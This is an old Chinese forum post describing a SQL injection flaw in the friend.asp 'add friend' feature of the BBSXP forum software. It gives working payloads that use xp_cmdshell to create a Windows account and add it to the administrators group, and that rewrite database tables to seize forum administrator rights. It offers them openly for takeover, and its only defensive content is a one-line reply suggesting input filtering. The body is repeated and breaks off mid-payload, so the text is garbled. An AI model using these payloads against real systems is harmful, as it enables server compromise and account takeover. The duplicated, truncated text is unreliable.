请先登录 | 注册
MYCSG.CN
探索bbsxpsql版的漏洞 - 文章首页返回版区
■标题:探索bbsxpsql版的漏洞
■作者:林子野菇 [2003/8/8 21:20:28]
探索bbsxp sql版的漏洞
内容:
漏洞描述:

相信大家都听过bbsxp吧,它是一款网上流行的论坛程序,我就不多作介绍了。这次我检测的是它的sql版,没过多久果然就发现了问题了 我们利用它可以掌握整个论坛的生脎大权,如果管理员sql服务器配置不当的话,甚至可以攻占整个服务器。
.............................................................................................................
漏洞分析:

这个漏洞主要出在friend.asp这个文件,让我们来看一下有问题的部分源码,下面是用户添加好友的程序:

sub add
if Request("username")="" then
error2("请输入您要添加的好友名字!")
end if

if Request("username")=Request.Cookies("username") then
error2("不能添加自己!")
end if


if conn.execute("Select count(id)from [user] where username='"&Request("username")&"'")(0)=0 then
error2("数据库不存在此用户的资料!")
end if


只要求好友的名字不为空和不能添加自己,并没有过滤特殊符号,其实这个不能添加自己的限制也是能绕过的,不过也没什么用 :)。
.....................................................................................................................
利用方法:

注册随便注册一个用户,这里我注册的是pinkeyes,好,转到个人控制面板,添加一个论坛存在的人为好友,这里我选的人是king,
选择添加好友按钮,这时会蛋出一个输入框,在里面输入:

king' ;exec master.dbo.xp_cmdshell 'net user pinkeyes pinkeyes /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--

添加了一个名为pinkeyes,密码为pinkeyes的账户。

.....................................................................................................................

再来: king' ;exec master.dbo.xp_cmdshell 'net localgroup administrators pinkeyes /add';--

把pinkeyes加到管理员用户组中。下面的事就不用我说了吧!

注意:如果连接数据库的账号没有权限的话或管理员删除了master.dbo.xp_cmdshell这个存储过程的话是不会成功.但是你可以对这个数据库做
任何事。
..........................................................................................................................
如果不能添加账户也没关系,也阻挡不了我前进的步伐。好,下面我来讲一下利用方法:
仍然是添加好友,输入:
king' ;update [user] set membercode=5,levelname='社区区长' where username='pinkeyes' --
把pinkeyes提升为社区区长,前台工作。

再来输入:

king';update clubconfig set administrators='│pinkeyes│',adminpassword='pinkeyes' --

把后台管理员设为pinkeyes,密码也为pinkeyes

ok,现在你是管理员了,要干什么就干什么吧!

,没过多久果然就发现了问题了 我们利用它可以掌握整个论坛的生脎大权,如果管理员sql服务器配置不当的话,甚至可以攻占整个服务器。
.............................................................................................................
漏洞分析:

这个漏洞主要出在friend.asp这个文件,让我们来看一下有问题的部分源码,下面是用户添加好友的程序:

sub add
if Request("username")="" then
error2("请输入您要添加的好友名字!")
end if

if Request("username")=Request.Cookies("username") then
error2("不能添加自己!")
end if


if conn.execute("Select count(id)from [user] where username='"&Request("username")&"'")(0)=0 then
error2("数据库不存在此用户的资料!")
end if


只要求好友的名字不为空和不能添加自己,并没有过滤特殊符号,其实这个不能添加自己的限制也是能绕过的,不过也没什么用 :)。
.....................................................................................................................
利用方法:

注册随便注册一个用户,这里我注册的是pinkeyes,好,转到个人控制面板,添加一个论坛存在的人为好友,这里我选的人是king,
选择添加好友按钮,这时会蛋出一个输入框,在里面输入:

king' ;exec master.dbo.xp_cmdshell 'net user pinkeyes pinkeyes /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--

添加了一个名为pinkeyes,密码为pinkeyes的账户。

.....................................................................................................................

再来: king' ;exec master.dbo.xp_cmdshell 'net localgroup administrators pinkeyes /add';--

把pinkeyes加到管理员用户组中。下面的事就不用我说了吧!

注意:如果连接数据库的账号没有权限的话或管理员删除了master.dbo.xp_cmdshell这个存储过程的话是不会成功.但是你可以对这个数据库做
任何事。
..........................................................................................................................
如果不能添加账户也没关系,也阻挡不了我前进的步伐。好,下面我来讲一下利用方法:
仍然是添加好友,输入:
king' ;update [user] set membercode=5,levelname='社区区长' where username='pinkeyes' --
把pinkeyes提升为社区区长,前台工作。

再来输入:

king';update clubconfig set administrators='│pinkeyes│',adminpasswor

回复/版区/上篇/下篇/发贴/仅文字/HTML
【倒序/最近21条回复】
■作者:IPSC [2003/8/9 9:26:42]
加一段特殊符号和长度过滤就行了

(查看完整版网页)



短讯|首页|登录|算法|电脑版 .
DK MiniBBS Plus v2.0
mm0759.com
140 毫秒 .